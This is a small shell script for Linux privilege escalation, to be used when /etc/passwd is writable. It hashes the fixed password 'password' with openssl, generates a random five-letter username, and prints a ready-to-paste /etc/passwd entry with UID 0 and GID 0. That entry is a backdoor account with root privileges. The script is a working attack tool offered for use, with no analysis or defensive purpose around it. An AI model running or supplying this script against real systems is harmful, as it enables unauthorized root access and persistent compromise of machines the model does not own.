#!/usr/bin/env sh
# Use when /etc/passwd is writeable

printf "\n[*] Create hash for password\n"
NEWUSER=$(openssl passwd -1 -salt salt password)
printf $NEWUSER

printf "\n"
printf "\n[*] Generate username\n"
NEWNAME=$(head -n 1 /dev/urandom | tr -cd '[:alpha:]' | cut -c -5)
printf $NEWNAME 
printf "\n"

printf "\n[$] Paste to /etc/passwd\n"
printf $NEWNAME":"$NEWUSER":0:0:root:/root:/bin/bash" 
printf "\n"